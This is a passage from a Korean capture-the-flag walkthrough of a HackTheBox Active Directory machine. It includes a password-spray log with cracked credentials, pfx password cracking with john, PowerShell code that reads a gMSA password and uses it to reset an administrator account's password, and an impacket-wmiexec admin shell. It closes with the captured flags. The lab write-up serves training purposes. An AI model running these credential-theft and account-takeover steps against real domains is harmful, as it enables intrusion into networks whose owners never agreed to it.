이 명령을 통해서 계정정보 일치하는 목록을 빼옵니다.
그러면 Sierra라는 계정에서 패스워드가 일치하는 것이 확인됩니다.
SMB 10.10.11.129 445 RESEARCH [*] Windows 10 / Server 2019 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.129 445 RESEARCH [-] search.htb\Payton.Harmon:;;36!cried!INDIA!year!50;; STATUS_LOGON_FAILURE
SMB 10.10.11.129 445 RESEARCH [-] search.htb\Cortez.Hickman:..10-time-TALK-proud-66.. STATUS_LOGON_FAILURE
SMB 10.10.11.129 445 RESEARCH [-] search.htb\Bobby.Wolf:??47^before^WORLD^surprise^91?? STATUS_LOGON_FAILURE
SMB 10.10.11.129 445 RESEARCH [-] search.htb\Margaret.Robinson://51+mountain+DEAR+noise+83// STATUS_LOGON_FAILURE
SMB 10.10.11.129 445 RESEARCH [-] search.htb\Scarlett.Parks:++47|building|WARSAW|gave|60++ STATUS_LOGON_FAILURE
SMB 10.10.11.129 445 RESEARCH [-] search.htb\Eliezer.Jordan:!!05_goes_SEVEN_offer_83!! STATUS_LOGON_FAILURE
SMB 10.10.11.129 445 RESEARCH [-] search.htb\Hunter.Kirby:~~27%when%VILLAGE%full%00~~ STATUS_LOGON_FAILURE
SMB 10.10.11.129 445 RESEARCH [+] search.htb\Sierra.Frye:$$49=wide=STRAIGHT=jordan=28$$18
SMB 10.10.11.129 445 RESEARCH [-] search.htb\Annabelle.Wells:==95~pass~QUIET~austria~77== STATUS_LOGON_FAILURE
SMB 10.10.11.129 445 RESEARCH [-] search.htb\Eve.Galvan://61!banker!FANCY!measure!25// STATUS_LOGON_FAILURE
SMB 10.10.11.129 445 RESEARCH [-] search.htb\Jeramiah.Fritz:??40:student:MAYOR:been:66?? STATUS_LOGON_FAILURE
SMB 10.10.11.129 445 RESEARCH [-] search.htb\Abby.Gonzalez:&&75:major:RADIO:state:93&& STATUS_LOGON_FAILURE
SMB 10.10.11.129 445 RESEARCH [-] search.htb\Joy.Costa:**30*venus*BALL*office*42** STATUS_LOGON_FAILURE
SMB 10.10.11.129 445 RESEARCH [-] search.htb\Vincent.Sutton:**24&moment&BRAZIL&members&66** STATUS_LOGON_FAILURE
블러드하운드를 통해 확인해보면 이 계정은 BIR-ADFS-GMSA 계정에 대해
ReadGMSAPassword 권한이 존재합니다.
이 권한에 대한 정보는 다음 포스팅을 참고합니다.
우선은 우리가 할 수 있는 것은 원격쉘도 없으므로
Sierra 계정으로 SMB에 다시 접속을 해봅니다.
mount -t cifs //10.10.11.129/RedirectedFolders$ /mnt/smbshare -o username=Sierra.Frye
┌──(root㉿kali)-[/mnt/smbshare]
└─# find . -type f 2>/dev/null
./sierra.frye/Desktop/$RECYCLE.BIN/desktop.ini
./sierra.frye/Desktop/desktop.ini
./sierra.frye/Desktop/Microsoft Edge.lnk
./sierra.frye/Desktop/user.txt
./sierra.frye/Documents/$RECYCLE.BIN/desktop.ini
./sierra.frye/Documents/desktop.ini
./sierra.frye/Downloads/$RECYCLE.BIN/desktop.ini
./sierra.frye/Downloads/Backups/search-RESEARCH-CA.p12
./sierra.frye/Downloads/Backups/staff.pfx
./sierra.frye/Downloads/desktop.ini
./sierra.frye/user.txt
드디어 유저 플래그를 획득할 수가 있네요
그리고 잠겨있던 Sierra 계정에선 staff.pfx 파일이 존재합니다.
아까전에 403 상태코드가 반환되었던 staff라는 디렉토리가 존재했는데
이제 이 디렉토리에 pfx 파일을 통해서 접근이 가능하겠네요
┌──(root㉿kali)-[/mnt/smbshare/sierra.frye/Desktop]
└─# cat user.txt
c16bed55ab35c61d13d30e32084b27e5
우선 유저 플래그를 획득해줍니다.
pfx 파일에서는 개인키, 비밀키, 인증서 등의 정보를 모두 가져올 수 있으며
이것 자체를 인증서로 사용하여 인증이 가능합니다.
브라우저의 인증서에서 이 staff.pfx 파일을 업로드 해줍니다.
하지만 업로드를 하려했는데 pfx 파일에 암호가 걸려있네요
보통 이런 경우가 흔하다고 합니다.
이것 역시 pfx2john을 사용해서 해쉬크래킹이 가능합니다.
pfx2john staff.pfx > hash
┌──(root㉿kali)-[~/Pentest/Machine]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 256/256 AVX2 8x])
Cost 1 (iteration count) is 2000 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
misspissy (staff.pfx)
1g 0:00:00:43 DONE (2024-10-29 23:51) 0.02316g/s 127045p/s 127045c/s 127045C/s mistel..missnono
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
암호는 misspissy 였네요
이제 다시 https 프로토콜로 staff 경로에 접속해보면
Windows PowerShell Web Access 창이 나옵니다.
Computer Name은 아까전에 ldapsearch를 통해서
확인했었습니다.
CN이 Computer Name이기 때문이죠
그래서 research가 됩니다.
Sierra 계정으로 접속했으니 당연히 유저는 Sierra입니다.
한편 Sierra 계정은 BIR 계정에 대해서 ReadGMSAPassword 권한이 있었죠
그래서 우리는 이 권한을 악용할 수 있습니다.
현재 Sierra 계정은 ITSEC의 그룹이자
BIR 계정에 대한 패스워드 읽기가 가능한데,
이 계정은 tristan 계정에 대해서 GenericAll 권한이 있습니다.
즉 tristan 계정을 마음대로 장악할 수 있다는 것입니다.
하지만 이 계정은 Administrator에 속해있기 때문에
사실상 이 계정을 장악하면 우리는 관리자 권한 탈취가 가능합니다.
GenericAll은 말 그대로 그 사용자처럼 행동할 할 수 있기 때문에
tristan 계정의 패스워드를 우리가 아는 것으로 변경하는 것 역시 가능합니다.
정리하면 다음과 같습니다.
먼저 사용자 gMSA를 가져오고 그 사용자에 대한 정보를
변수에 담아줍니다.
$gmsa = Get-ADServiceAccount -Identity 'BIR-ADFS-GMSA' -Properties 'msDS-ManagedPassword'
$mp = $gmsa.'msDS-ManagedPassword'
$mpl = ConvertFrom-ADManagedPasswordBlob $mp
$user = 'BIR-ADFS-GMSA$'
$password = $mpl.'CurrentPassword'
$secpass = ConvertTo-SecureString $password -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($user, $secpass)
이렇게 하면 파워쉘에서 원격 사용자로 다른 사용자의 정보를 변경할 때
입력해야하는 크리덴셜 정보를 변수를 통해 입력이 가능합니다.
Invoke-Command -Computername 127.0.0.1 -ScriptBlock {Set-ADAccountPassword
-Identity tristan.davies -reset -NewPassword (ConvertTo-SecureString
-AsPlainText 'password123!' -Force)} -Credential $cred
그 다음 BIR 권한으로 tristan 계정의 패스워드를 변경시키는 쿼리를 삽입하면
이제 tristan 계정의 패스워드는 password123!으로 변경되었습니다.
관리자 계정이므로 impacket의 wmiexec 모듈을 사용해서
원격 쉘 접속을 시도해줍니다.
┌──(root㉿kali)-[~/Pentest/Machine]
└─# impacket-wmiexec 'search.htb/TRISTAN.DAVIES@10.10.11.129'
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
Password:
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
search\tristan.davies
C:\>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
========================================= ================================================================== =======
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeMachineAccountPrivilege Add workstations to domain Enabled
SeSecurityPrivilege Manage auditing and security log Enabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled
SeLoadDriverPrivilege Load and unload device drivers Enabled
SeSystemProfilePrivilege Profile system performance Enabled
SeSystemtimePrivilege Change the system time Enabled
SeProfileSingleProcessPrivilege Profile single process Enabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled
SeCreatePagefilePrivilege Create a pagefile Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeDebugPrivilege Debug programs Enabled
SeSystemEnvironmentPrivilege Modify firmware environment values Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Enabled
SeUndockPrivilege Remove computer from docking station Enabled
SeEnableDelegationPrivilege Enable computer and user accounts to be trusted for delegation Enabled
SeManageVolumePrivilege Perform volume maintenance tasks Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
SeCreateSymbolicLinkPrivilege Create symbolic links Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled
C:\>
보다시피 관리자 권한을 가져서 모든 권한이 존재합니다.
마지막으로 루트 플래그를 획득해줍니다.
C:\>more C:\Users\Administrator\Desktop\root.txt
69edda27b2127ec618369251f146f4b9
[HackTheBox] Resolute (2) | 2024.11.03 |
---|---|
[HackTheBox] Blackfield (1) | 2024.10.30 |
[HackTheBox] Active (0) | 2024.10.29 |
[HackTheBox] Sauna (1) | 2024.10.29 |
[HackTheBox] Return (2) | 2024.10.17 |